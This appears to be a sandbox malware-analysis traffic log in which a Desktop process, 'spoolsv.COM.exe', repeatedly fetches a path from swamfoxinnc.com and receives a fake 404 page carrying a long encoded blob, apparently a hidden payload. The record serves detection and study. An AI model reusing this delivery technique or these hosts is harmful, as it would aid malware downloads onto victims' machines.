2024-12-23 06:38:08 UTC	164	OUT	GET /233_Svcrhpjadgy HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: swamfoxinnc.com
2024-12-23 06:38:09 UTC	191	IN	HTTP/1.1 404 Not Found Server: nginx Date: Mon, 23 Dec 2024 06:38:09 GMT Content-Type: text/html Content-Length: 58296 Connection: close Vary: Accept-Encoding ETag: "674db0b4-e3b8"
2024-12-23 06:38:09 UTC	16193	IN	Data Raw: 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 3e 0a 09 3c 68 65 61 64 3e 0a 09 09 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 20 2f 3e 0a 09 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 20 2f 3e 0a 09 09 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 09 09 3c 73 74 79 6c 65 3e 0a 09 09 09 2a 20 7b 0a 09 09 09 09 6d 61 72 67 69 6e 3a 20 30 3b 0a 09 09 09 09 70 61 64 64 69 6e 67 3a 20 30 3b 0a 09 09 09 09 62 6f 78 2d 73 69 7a 69 6e 67 3a 20 62 6f 72 64 65 72 2d 62 6f 78 3b 0a 09 09 09 7d 0a 09 09 09 68 74 6d 6c 20 7b 0a Data Ascii: <!doctype html><html><head><meta charset="utf-8" /><meta name="viewport" content="width=device-width, initial-scale=1.0" /><title>404 Not Found</title><style>* {margin: 0;padding: 0;box-sizing: border-box;}html {
2024-12-23 06:38:09 UTC	16384	IN	Data Raw: 35 37 43 6f 32 47 4c 4c 79 45 79 4f 48 61 34 6a 30 44 65 41 6f 6f 58 73 51 6c 45 4c 2f 45 52 39 79 78 6b 72 4d 43 70 30 41 7a 68 53 48 42 52 62 67 4b 50 49 47 79 48 62 51 4f 6e 6d 56 53 62 73 56 49 77 71 44 6d 35 7a 57 43 54 52 58 64 6a 52 63 63 2f 48 4d 37 43 66 64 54 34 45 54 72 34 51 52 4e 53 77 30 66 4b 4f 4d 61 4e 61 7a 2f 68 47 7a 51 73 6a 6e 57 6b 6a 6a 2f 6f 67 72 44 55 59 39 55 36 6c 77 79 77 2b 48 46 6c 75 38 65 48 49 73 4b 38 4f 54 58 31 33 33 61 58 54 38 39 51 63 33 78 6d 46 62 45 35 59 4a 4b 6e 52 31 55 2b 6d 65 73 4e 69 4c 53 77 48 6b 53 48 62 31 4f 65 6e 37 51 75 30 43 57 6d 5a 69 77 73 35 37 31 59 59 59 2b 73 6e 74 5a 72 63 59 2b 76 46 2b 65 46 57 53 58 4c 63 36 66 42 38 4f 49 30 4b 2f 57 4a 30 30 2f 47 66 61 41 54 68 73 65 64 43 38 6f 54 Data Ascii: 57Co2GLLyEyOHa4j0DeAooXsQlEL/ER9yxkrMCp0AzhSHBRbgKPIGyHbQOnmVSbsVIwqDm5zWCTRXdjRcc/HM7CfdT4ETr4QRNSw0fKOMaNaz/hGzQsjnWkjj/ogrDUY9U6lwyw+HFlu8eHIsK8OTX133aXT89Qc3xmFbE5YJKnR1U+mesNiLSwHkSHb1Oen7Qu0CWmZiws571YYY+sntZrcY+vF+eFWSXLc6fB8OI0K/WJ00/GfaAThsedC8oT
2024-12-23 06:38:09 UTC	16384	IN	Data Raw: 5a 4a 76 46 56 68 6b 45 41 34 6b 30 52 43 77 6d 44 6a 47 4f 69 73 37 51 6a 44 65 4d 71 43 61 78 50 50 79 42 4d 57 33 62 4d 35 34 6c 33 2b 70 53 71 59 37 2b 72 2f 53 6b 67 55 62 4a 4d 70 6a 42 6a 33 6e 38 34 6d 37 75 57 31 49 31 51 67 43 49 63 6b 72 46 6b 51 44 63 42 33 41 42 6a 4b 39 35 78 43 36 31 4e 77 42 50 4e 63 78 6f 53 41 52 49 7a 48 37 65 57 6a 63 35 58 6b 70 2f 39 49 75 6f 41 6d 41 6f 67 4a 6d 46 5a 35 32 4c 49 73 67 72 41 41 49 41 67 45 41 70 76 79 66 46 53 39 41 49 79 67 63 66 4b 36 2f 2f 46 35 43 59 6c 78 47 51 53 55 53 4e 53 62 6e 51 79 31 34 71 55 50 64 48 42 74 35 41 4a 72 36 46 46 31 4b 79 50 66 2b 62 52 46 6f 72 2b 6f 76 4c 6a 46 63 7a 48 6b 6a 58 7a 61 58 67 71 35 6c 49 35 77 49 33 61 77 44 34 69 53 53 4d 4b 4f 6e 6d 50 53 48 52 6b 6e 46 Data Ascii: ZJvFVhkEA4k0RCwmDjGOis7QjDeMqCaxPPyBMW3bM54l3+pSqY7+r/SkgUbJMpjBj3n84m7uW1I1QgCIckrFkQDcB3ABjK95xC61NwBPNcxoSARIzH7eWjc5Xkp/9IuoAmAogJmFZ52LIsgrAAIAgEApvyfFS9AIygcfK6//F5CYlxGQSUSNSbnQy14qUPdHBt5AJr6FF1KyPf+bRFor+ovLjFczHkjXzaXgq5lI5wI3awD4iSSMKOnmPSHRknF
2024-12-23 06:38:09 UTC	9335	IN	Data Raw: 6e 45 73 42 71 4c 41 57 49 56 70 54 58 74 33 48 59 58 4e 54 4f 54 36 2b 68 64 31 4c 52 42 30 66 69 31 34 58 79 33 75 36 45 34 59 4e 71 53 35 6d 73 32 78 66 73 71 37 68 4e 4a 4c 73 39 68 42 74 78 51 63 50 35 57 73 52 73 58 4e 59 68 61 6f 69 37 45 44 76 32 4a 66 46 67 4d 44 52 4b 50 59 6e 69 6d 63 78 56 55 59 6c 4f 45 77 39 77 71 48 48 36 42 50 62 7a 70 37 4b 33 58 53 61 62 53 4d 74 77 32 7a 61 42 6d 65 55 6d 4a 54 52 48 36 63 5a 4d 2f 2f 32 31 72 4d 58 4e 35 33 36 56 66 44 58 43 31 53 44 71 75 61 36 74 44 4e 72 32 6d 65 48 65 6d 2b 59 6c 33 52 6b 36 53 49 70 5a 56 35 56 4e 34 32 6c 33 44 30 6a 57 6c 58 74 31 37 6e 32 33 4e 59 52 5a 54 79 38 6b 78 55 68 37 43 30 47 4c 64 5a 63 54 73 76 77 46 79 59 31 50 79 64 4a 78 5a 6d 4b 71 48 77 6e 49 67 49 6e 5a 43 30 Data Ascii: nEsBqLAWIVpTXt3HYXNTOT6+hd1LRB0fi14Xy3u6E4YNqS5ms2xfsq7hNJLs9hBtxQcP5WsRsXNYhaoi7EDv2JfFgMDRKPYnimcxVUYlOEw9wqHH6BPbzp7K3XSabSMtw2zaBmeUmJTRH6cZM//21rMXN536VfDXC1SDqua6tDNr2meHem+Yl3Rk6SIpZV5VN42l3D0jWlXt17n23NYRZTy8kxUh7C0GLdZcTsvwFyY1PydJxZmKqHwnIgInZC0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.10	49786	176.123.5.143	443	7596	C:\Users\user\Desktop\spoolsv.COM.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-23 06:38:11 UTC	164	OUT	GET /233_Svcrhpjadgy HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: swamfoxinnc.com
2024-12-23 06:38:12 UTC	191	IN	HTTP/1.1 404 Not Found Server: nginx Date: Mon, 23 Dec 2024 06:38:12 GMT Content-Type: text/html Content-Length: 58296 Connection: close Vary: Accept-Encoding ETag: "674db0b4-e3b8"
2024-12-23 06:38:12 UTC	16193	IN	Data Raw: 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 3e 0a 09 3c 68 65 61 64 3e 0a 09 09 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 20 2f 3e 0a 09 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 20 2f 3e 0a 09 09 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 09 09 3c 73 74 79 6c 65 3e 0a 09 09 09 2a 20 7b 0a 09 09 09 09 6d 61 72 67 69 6e 3a 20 30 3b 0a 09 09 09 09 70 61 64 64 69 6e 67 3a 20 30 3b 0a 09 09 09 09 62 6f 78 2d 73 69 7a 69 6e 67 3a 20 62 6f 72 64 65 72 2d 62 6f 78 3b 0a 09 09 09 7d 0a 09 09 09 68 74 6d 6c 20 7b 0a Data Ascii: <!doctype html><html><head><meta charset="utf-8" /><meta name="viewport" content="width=device-width, initial-scale=1.0" /><title>404 Not Found</title><style>* {margin: 0;padding: 0;box-sizing: border-box;}html {
2024-12-23 06:38:12 UTC	16384	IN	Data Raw: 35 37 43 6f 32 47 4c 4c 79 45 79 4f 48 61 34 6a 30 44 65 41 6f 6f 58 73 51 6c 45 4c 2f 45 52 39 79 78 6b 72 4d 43 70 30 41 7a 68 53 48 42 52 62 67 4b 50 49 47 79 48 62 51 4f 6e 6d 56 53 62 73 56 49 77 71 44 6d 35 7a 57 43 54 52 58 64 6a 52 63 63 2f 48 4d 37 43 66 64 54 34 45 54 72 34 51 52 4e 53 77 30 66 4b 4f 4d 61 4e 61 7a 2f 68 47 7a 51 73 6a 6e 57 6b 6a 6a 2f 6f 67 72 44 55 59 39 55 36 6c 77 79 77 2b 48 46 6c 75 38 65 48 49 73 4b 38 4f 54 58 31 33 33 61 58 54 38 39 51 63 33 78 6d 46 62 45 35 59 4a 4b 6e 52 31 55 2b 6d 65 73 4e 69 4c 53 77 48 6b 53 48 62 31 4f 65 6e 37 51 75 30 43 57 6d 5a 69 77 73 35 37 31 59 59 59 2b 73 6e 74 5a 72 63 59 2b 76 46 2b 65 46 57 53 58 4c 63 36 66 42 38 4f 49 30 4b 2f 57 4a 30 30 2f 47 66 61 41 54 68 73 65 64 43 38 6f 54 Data Ascii: 57Co2GLLyEyOHa4j0DeAooXsQlEL/ER9yxkrMCp0AzhSHBRbgKPIGyHbQOnmVSbsVIwqDm5zWCTRXdjRcc/HM7CfdT4ETr4QRNSw0fKOMaNaz/hGzQsjnWkjj/ogrDUY9U6lwyw+HFlu8eHIsK8OTX133aXT89Qc3xmFbE5YJKnR1U+mesNiLSwHkSHb1Oen7Qu0CWmZiws571YYY+sntZrcY+vF+eFWSXLc6fB8OI0K/WJ00/GfaAThsedC8oT
2024-12-23 06:38:13 UTC	16384	IN	Data Raw: 5a 4a 76 46 56 68 6b 45 41 34 6b 30 52 43 77 6d 44 6a 47 4f 69 73 37 51 6a 44 65 4d 71 43 61 78 50 50 79 42 4d 57 33 62 4d 35 34 6c 33 2b 70 53 71 59 37 2b 72 2f 53 6b 67 55 62 4a 4d 70 6a 42 6a 33 6e 38 34 6d 37 75 57 31 49 31 51 67 43 49 63 6b 72 46 6b 51 44 63 42 33 41 42 6a 4b 39 35 78 43 36 31 4e 77 42 50 4e 63 78 6f 53 41 52 49 7a 48 37 65 57 6a 63 35 58 6b 70 2f 39 49 75 6f 41 6d 41 6f 67 4a 6d 46 5a 35 32 4c 49 73 67 72 41 41 49 41 67 45 41 70 76 79 66 46 53 39 41 49 79 67 63 66 4b 36 2f 2f 46 35 43 59 6c 78 47 51 53 55 53 4e 53 62 6e 51 79 31 34 71 55 50 64 48 42 74 35 41 4a 72 36 46 46 31 4b 79 50 66 2b 62 52 46 6f 72 2b 6f 76 4c 6a 46 63 7a 48 6b 6a 58 7a 61 58 67 71 35 6c 49 35 77 49 33 61 77 44 34 69 53 53 4d 4b 4f 6e 6d 50 53 48 52 6b 6e 46 Data Ascii: ZJvFVhkEA4k0RCwmDjGOis7QjDeMqCaxPPyBMW3bM54l3+pSqY7+r/SkgUbJMpjBj3n84m7uW1I1QgCIckrFkQDcB3ABjK95xC61NwBPNcxoSARIzH7eWjc5Xkp/9IuoAmAogJmFZ52LIsgrAAIAgEApvyfFS9AIygcfK6//F5CYlxGQSUSNSbnQy14qUPdHBt5AJr6FF1KyPf+bRFor+ovLjFczHkjXzaXgq5lI5wI3awD4iSSMKOnmPSHRknF
2024-12-23 06:38:13 UTC	9335	IN	Data Raw: 6e 45 73 42 71 4c 41 57 49 56 70 54 58 74 33 48 59 58 4e 54 4f 54 36 2b 68 64 31 4c 52 42 30 66 69 31 34 58 79 33 75 36 45 34 59 4e 71 53 35 6d 73 32 78 66 73 71 37 68 4e 4a 4c 73 39 68 42 74 78 51 63 50 35 57 73 52 73 58 4e 59 68 61 6f 69 37 45 44 76 32 4a 66 46 67 4d 44 52 4b 50 59 6e 69 6d 63 78 56 55 59 6c 4f 45 77 39 77 71 48 48 36 42 50 62 7a 70 37 4b 33 58 53 61 62 53 4d 74 77 32 7a 61 42 6d 65 55 6d 4a 54 52 48 36 63 5a 4d 2f 2f 32 31 72 4d 58 4e 35 33 36 56 66 44 58 43 31 53 44 71 75 61 36 74 44 4e 72 32 6d 65 48 65 6d 2b 59 6c 33 52 6b 36 53 49 70 5a 56 35 56 4e 34 32 6c 33 44 30 6a 57 6c 58 74 31 37 6e 32 33 4e 59 52 5a 54 79 38 6b 78 55 68 37 43 30 47 4c 64 5a 63 54 73 76 77 46 79 59 31 50 79 64 4a 78 5a 6d 4b 71 48 77 6e 49 67 49 6e 5a 43 30 Data Ascii: nEsBqLAWIVpTXt3HYXNTOT6+hd1LRB0fi14Xy3u6E4YNqS5ms2xfsq7hNJLs9hBtxQcP5WsRsXNYhaoi7EDv2JfFgMDRKPYnimcxVUYlOEw9wqHH6BPbzp7K3XSabSMtw2zaBmeUmJTRH6cZM//21rMXN536VfDXC1SDqua6tDNr2meHem+Yl3Rk6SIpZV5VN42l3D0jWlXt17n23NYRZTy8kxUh7C0GLdZcTsvwFyY1PydJxZmKqHwnIgInZC0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.10	49794	176.123.5.143	443	7596	C:\Users\user\Desktop\spoolsv.COM.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-23 06:38:14 UTC	164	OUT	GET /233_Svcrhpjadgy HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: swamfoxinnc.com
2024-12-23 06:38:16 UTC	191	IN	HTTP/1.1 404 Not Found Server: nginx Date: Mon, 23 Dec 2024 06:38:15 GMT Content-Type: text/html Content-Length: 58296 Connection: close Vary: Accept-Encoding ETag: "674db0b4-e3b8"
2024-12-23 06:38:16 UTC	16193	IN	Data Raw: 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 3e 0a 09 3c 68 65 61 64 3e 0a 09 09 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 20 2f 3e 0a 09 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 20 2f 3e 0a 09 09 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 09 09 3c 73 74 79 6c 65 3e 0a 09 09 09 2a 20 7b 0a 09 09 09 09 6d 61 72 67 69 6e 3a 20 30 3b 0a 09 09 09 09 70 61 64 64 69 6e 67 3a 20 30 3b 0a 09 09 09 09 62 6f 78 2d 73 69 7a 69 6e 67 3a 20 62 6f 72 64 65 72 2d 62 6f 78 3b 0a 09 09 09 7d 0a 09 09 09 68 74 6d 6c 20 7b 0a Data Ascii: <!doctype html><html><head><meta charset="utf-8" /><meta name="viewport" content="width=device-width, initial-scale=1.0" /><title>404 Not Found</title><style>* {margin: 0;padding: 0;box-sizing: border-box;}html {
2024-12-23 06:38:16 UTC	16384	IN	Data Raw: 35 37 43 6f 32 47 4c 4c 79 45 79 4f 48 61 34 6a 30 44 65 41 6f 6f 58 73 51 6c 45 4c 2f 45 52 39 79 78 6b 72 4d 43 70 30 41 7a 68 53 48 42 52 62 67 4b 50 49 47 79 48 62 51 4f 6e 6d 56 53 62 73 56 49 77 71 44 6d 35 7a 57 43 54 52 58 64 6a 52 63 63 2f 48 4d 37 43 66 64 54 34 45 54 72 34 51 52 4e 53 77 30 66 4b 4f 4d 61 4e 61 7a 2f 68 47 7a 51 73 6a 6e 57 6b 6a 6a 2f 6f 67 72 44 55 59 39 55 36 6c 77 79 77 2b 48 46 6c 75 38 65 48 49 73 4b 38 4f 54 58 31 33 33 61 58 54 38 39 51 63 33 78 6d 46 62 45 35 59 4a 4b 6e 52 31 55 2b 6d 65 73 4e 69 4c 53 77 48 6b 53 48 62 31 4f 65 6e 37 51 75 30 43 57 6d 5a 69 77 73 35 37 31 59 59 59 2b 73 6e 74 5a 72 63 59 2b 76 46 2b 65 46 57 53 58 4c 63 36 66 42 38 4f 49 30 4b 2f 57 4a 30 30 2f 47 66 61 41 54 68 73 65 64 43 38 6f 54 Data Ascii: 57Co2GLLyEyOHa4j0DeAooXsQlEL/ER9yxkrMCp0AzhSHBRbgKPIGyHbQOnmVSbsVIwqDm5zWCTRXdjRcc/HM7CfdT4ETr4QRNSw0fKOMaNaz/hGzQsjnWkjj/ogrDUY9U6lwyw+HFlu8eHIsK8OTX133aXT89Qc3xmFbE5YJKnR1U+mesNiLSwHkSHb1Oen7Qu0CWmZiws571YYY+sntZrcY+vF+eFWSXLc6fB8OI0K/WJ00/GfaAThsedC8oT
2024-12-23 06:38:16 UTC	16384	IN	Data Raw: 5a 4a 76 46 56 68 6b 45 41 34 6b 30 52 43 77 6d 44 6a 47 4f 69 73 37 51 6a 44 65 4d 71 43 61 78 50 50 79 42 4d 57 33 62 4d 35 34 6c 33 2b 70 53 71 59 37 2b 72 2f 53 6b 67 55 62 4a 4d 70 6a 42 6a 33 6e 38 34 6d 37 75 57 31 49 31 51 67 43 49 63 6b 72 46 6b 51 44 63 42 33 41 42 6a 4b 39 35 78 43 36 31 4e 77 42 50 4e 63 78 6f 53 41 52 49 7a 48 37 65 57 6a 63 35 58 6b 70 2f 39 49 75 6f 41 6d 41 6f 67 4a 6d 46 5a 35 32 4c 49 73 67 72 41 41 49 41 67 45 41 70 76 79 66 46 53 39 41 49 79 67 63 66 4b 36 2f 2f 46 35 43 59 6c 78 47 51 53 55 53 4e 53 62 6e 51 79 31 34 71 55 50 64 48 42 74 35 41 4a 72 36 46 46 31 4b 79 50 66 2b 62 52 46 6f 72 2b 6f 76 4c 6a 46 63 7a 48 6b 6a 58 7a 61 58 67 71 35 6c 49 35 77 49 33 61 77 44 34 69 53 53 4d 4b 4f 6e 6d 50 53 48 52 6b 6e 46 Data Ascii: ZJvFVhkEA4k0RCwmDjGOis7QjDeMqCaxPPyBMW3bM54l3+pSqY7+r/SkgUbJMpjBj3n84m7uW1I1QgCIckrFkQDcB3ABjK95xC61NwBPNcxoSARIzH7eWjc5Xkp/9IuoAmAogJmFZ52LIsgrAAIAgEApvyfFS9AIygcfK6//F5CYlxGQSUSNSbnQy14qUPdHBt5AJr6FF1KyPf+bRFor+ovLjFczHkjXzaXgq5lI5wI3awD4iSSMKOnmPSHRknF
2024-12-23 06:38:16 UTC	9335	IN	Data Raw: 6e 45 73 42 71 4c 41 57 49 56 70 54 58 74 33 48 59 58 4e 54 4f 54 36 2b 68 64 31 4c 52 42 30 66 69 31 34 58 79 33 75 36 45 34 59 4e 71 53 35 6d 73 32 78 66 73 71 37 68 4e 4a 4c 73 39 68 42 74 78 51 63 50 35 57 73 52 73 58 4e 59 68 61 6f 69 37 45 44 76 32 4a 66 46 67 4d 44 52 4b 50 59 6e 69 6d 63 78 56 55 59 6c 4f 45 77 39 77 71 48 48 36 42 50 62 7a 70 37 4b 33 58 53 61 62 53 4d 74 77 32 7a 61 42 6d 65 55 6d 4a 54 52 48 36 63 5a 4d 2f 2f 32 31 72 4d 58 4e 35 33 36 56 66 44 58 43 31 53 44 71 75 61 36 74 44 4e 72 32 6d 65 48 65 6d 2b 59 6c 33 52 6b 36 53 49 70 5a 56 35 56 4e 34 32 6c 33 44 30 6a 57 6c 58 74 31 37 6e 32 33 4e 59 52 5a 54 79 38 6b 78 55 68 37 43 30 47 4c 64 5a 63 54 73 76 77 46 79 59 31 50 79 64 4a 78 5a 6d 4b 71 48 77 6e 49 67 49 6e 5a 43 30 Data Ascii: nEsBqLAWIVpTXt3HYXNTOT6+hd1LRB0fi14Xy3u6E4YNqS5ms2xfsq7hNJLs9hBtxQcP5WsRsXNYhaoi7EDv2JfFgMDRKPYnimcxVUYlOEw9wqHH6BPbzp7K3XSabSMtw2zaBmeUmJTRH6cZM//21rMXN536VfDXC1SDqua6tDNr2meHem+Yl3Rk6SIpZV5VN42l3D0jWlXt17n23NYRZTy8kxUh7C0GLdZcTsvwFyY1PydJxZmKqHwnIgInZC0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.10	49805	176.123.5.143	443	7596	C:\Users\user\Desktop\spoolsv.COM.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-23 06:38:18 UTC	164	OUT	GET /233_Svcrhpjadgy HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: swamfoxinnc.com
2024-12-23 06:38:19 UTC	191	IN	HTTP/1.1 404 Not Found Server: nginx Date: Mon, 23 Dec 2024 06:38:19 GMT Content-Type: text/html Content-Length: 58296 Connection: close Vary: Accept-Encoding ETag: "674db0b4-e3b8"
2024-12-23 06:38:19 UTC	16193	IN	Data Raw: 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 3e 0a 09 3c 68 65 61 64 3e 0a 09 09 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 20 2f 3e 0a 09 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 20 2f 3e 0a 09 09 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 09 09 3c 73 74 79 6c 65 3e 0a 09 09 09 2a 20 7b 0a 09 09 09 09 6d 61 72 67 69 6e 3a 20 30 3b 0a 09 09 09 09 70 61 64 64 69 6e 67 3a 20 30 3b 0a 09 09 09 09 62 6f 78 2d 73 69 7a 69 6e 67 3a 20 62 6f 72 64 65 72 2d 62 6f 78 3b 0a 09 09 09 7d 0a 09 09 09 68 74 6d 6c 20 7b 0a Data Ascii: <!doctype html><html><head><meta charset="utf-8" /><meta name="viewport" content="width=device-width, initial-scale=1.0" /><title>404 Not Found</title><style>* {margin: 0;padding: 0;box-sizing: border-box;}html {
2024-12-23 06:38:19 UTC	16384	IN	Data Raw: 35 37 43 6f 32 47 4c 4c 79 45 79 4f 48 61 34 6a 30 44 65 41 6f 6f 58 73 51 6c 45 4c 2f 45 52 39 79 78 6b 72 4d 43 70 30 41 7a 68 53 48 42 52 62 67 4b 50 49 47 79 48 62 51 4f 6e 6d 56 53 62 73 56 49 77 71 44 6d 35 7a 57 43 54 52 58 64 6a 52 63 63 2f 48 4d 37 43 66 64 54 34 45 54 72 34 51 52 4e 53 77 30 66 4b 4f 4d 61 4e 61 7a 2f 68 47 7a 51 73 6a 6e 57 6b 6a 6a 2f 6f 67 72 44 55 59 39 55 36 6c 77 79 77 2b 48 46 6c 75 38 65 48 49 73 4b 38 4f 54 58 31 33 33 61 58 54 38 39 51 63 33 78 6d 46 62 45 35 59 4a 4b 6e 52 31 55 2b 6d 65 73 4e 69 4c 53 77 48 6b 53 48 62 31 4f 65 6e 37 51 75 30 43 57 6d 5a 69 77 73 35 37 31 59 59 59 2b 73 6e 74 5a 72 63 59 2b 76 46 2b 65 46 57 53 58 4c 63 36 66 42 38 4f 49 30 4b 2f 57 4a 30 30 2f 47 66 61 41 54 68 73 65 64 43 38 6f 54 Data Ascii: 57Co2GLLyEyOHa4j0DeAooXsQlEL/ER9yxkrMCp0AzhSHBRbgKPIGyHbQOnmVSbsVIwqDm5zWCTRXdjRcc/HM7CfdT4ETr4QRNSw0fKOMaNaz/hGzQsjnWkjj/ogrDUY9U6lwyw+HFlu8eHIsK8OTX133aXT89Qc3xmFbE5YJKnR1U+mesNiLSwHkSHb1Oen7Qu0CWmZiws571YYY+sntZrcY+vF+eFWSXLc6fB8OI0K/WJ00/GfaAThsedC8oT
2024-12-23 06:38:19 UTC	16384	IN	Data Raw: 5a 4a 76 46 56 68 6b 45 41 34 6b 30 52 43 77 6d 44 6a 47 4f 69 73 37 51 6a 44 65 4d 71 43 61 78 50 50 79 42 4d 57 33 62 4d 35 34 6c 33 2b 70 53 71 59 37 2b 72 2f 53 6b 67 55 62 4a 4d 70 6a 42 6a 33 6e 38 34 6d 37 75 57 31 49 31 51 67 43 49 63 6b 72 46 6b 51 44 63 42 33 41 42 6a 4b 39 35 78 43 36 31 4e 77 42 50 4e 63 78 6f 53 41 52 49 7a 48 37 65 57 6a 63 35 58 6b 70 2f 39 49 75 6f 41 6d 41 6f 67 4a 6d 46 5a 35 32 4c 49 73 67 72 41 41 49 41 67 45 41 70 76 79 66 46 53 39 41 49 79 67 63 66 4b 36 2f 2f 46 35 43 59 6c 78 47 51 53 55 53 4e 53 62 6e 51 79 31 34 71 55 50 64 48 42 74 35 41 4a 72 36 46 46 31 4b 79 50 66 2b 62 52 46 6f 72 2b 6f 76 4c 6a 46 63 7a 48 6b 6a 58 7a 61 58 67 71 35 6c 49 35 77 49 33 61 77 44 34 69 53 53 4d 4b 4f 6e 6d 50 53 48 52 6b 6e 46 Data Ascii: ZJvFVhkEA4k0RCwmDjGOis7QjDeMqCaxPPyBMW3bM54l3+pSqY7+r/SkgUbJMpjBj3n84m7uW1I1QgCIckrFkQDcB3ABjK95xC61NwBPNcxoSARIzH7eWjc5Xkp/9IuoAmAogJmFZ52LIsgrAAIAgEApvyfFS9AIygcfK6//F5CYlxGQSUSNSbnQy14qUPdHBt5AJr6FF1KyPf+bRFor+ovLjFczHkjXzaXgq5lI5wI3awD4iSSMKOnmPSHRknF
2024-12-23 06:38:19 UTC	9335	IN	Data Raw: 6e 45 73 42 71 4c 41 57 49 56 70 54 58 74 33 48 59 58 4e 54 4f 54 36 2b 68 64 31 4c 52 42 30 66 69 31 34 58 79 33 75 36 45 34 59 4e 71 53 35 6d 73 32 78 66 73 71 37 68 4e 4a 4c 73 39 68 42 74 78 51 63 50 35 57 73 52 73 58 4e 59 68 61 6f 69 37 45 44 76 32 4a 66 46 67 4d 44 52 4b 50 59 6e 69 6d 63 78 56 55 59 6c 4f 45 77 39 77 71 48 48 36 42 50 62 7a 70 37 4b 33 58 53 61 62 53 4d 74 77 32 7a 61 42 6d 65 55 6d 4a 54 52 48 36 63 5a 4d 2f 2f 32 31 72 4d 58 4e 35 33 36 56 66 44 58 43 31 53 44 71 75 61 36 74 44 4e 72 32 6d 65 48 65 6d 2b 59 6c 33 52 6b 36 53 49 70 5a 56 35 56 4e 34 32 6c 33 44 30 6a 57 6c 58 74 31 37 6e 32 33 4e 59 52 5a 54 79 38 6b 78 55 68 37 43 30 47 4c 64 5a 63 54 73 76 77 46 79 59 31 50 79 64 4a 78 5a 6d 4b 71 48 77 6e 49 67 49 6e 5a 43 30 Data Ascii: nEsBqLAWIVpTXt3HYXNTOT6+hd1LRB0fi14Xy3u6E4YNqS5ms2xfsq7hNJLs9hBtxQcP5WsRsXNYhaoi7EDv2JfFgMDRKPYnimcxVUYlOEw9wqHH6BPbzp7K3XSabSMtw2zaBmeUmJTRH6cZM//21rMXN536VfDXC1SDqua6tDNr2meHem+Yl3Rk6SIpZV5VN42l3D0jWlXt17n23NYRZTy8kxUh7C0GLdZcTsvwFyY1PydJxZmKqHwnIgInZC0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.10	49813	176.123.5.143	443	7596	C:\Users\user\Desktop\spoolsv.COM.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-23 06:38:21 UTC	164	OUT	GET /233_Svcrhpjadgy HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: swamfoxinnc.com
2024-12-23 06:38:23 UTC	191	IN	HTTP/1.1 404 Not Found Server: nginx Date: Mon, 23 Dec 2024 06:38:22 GMT Content-Type: text/html Content-Length: 58296 Connection: close Vary: Accept-Encoding ETag: "674db0b4-e3b8"
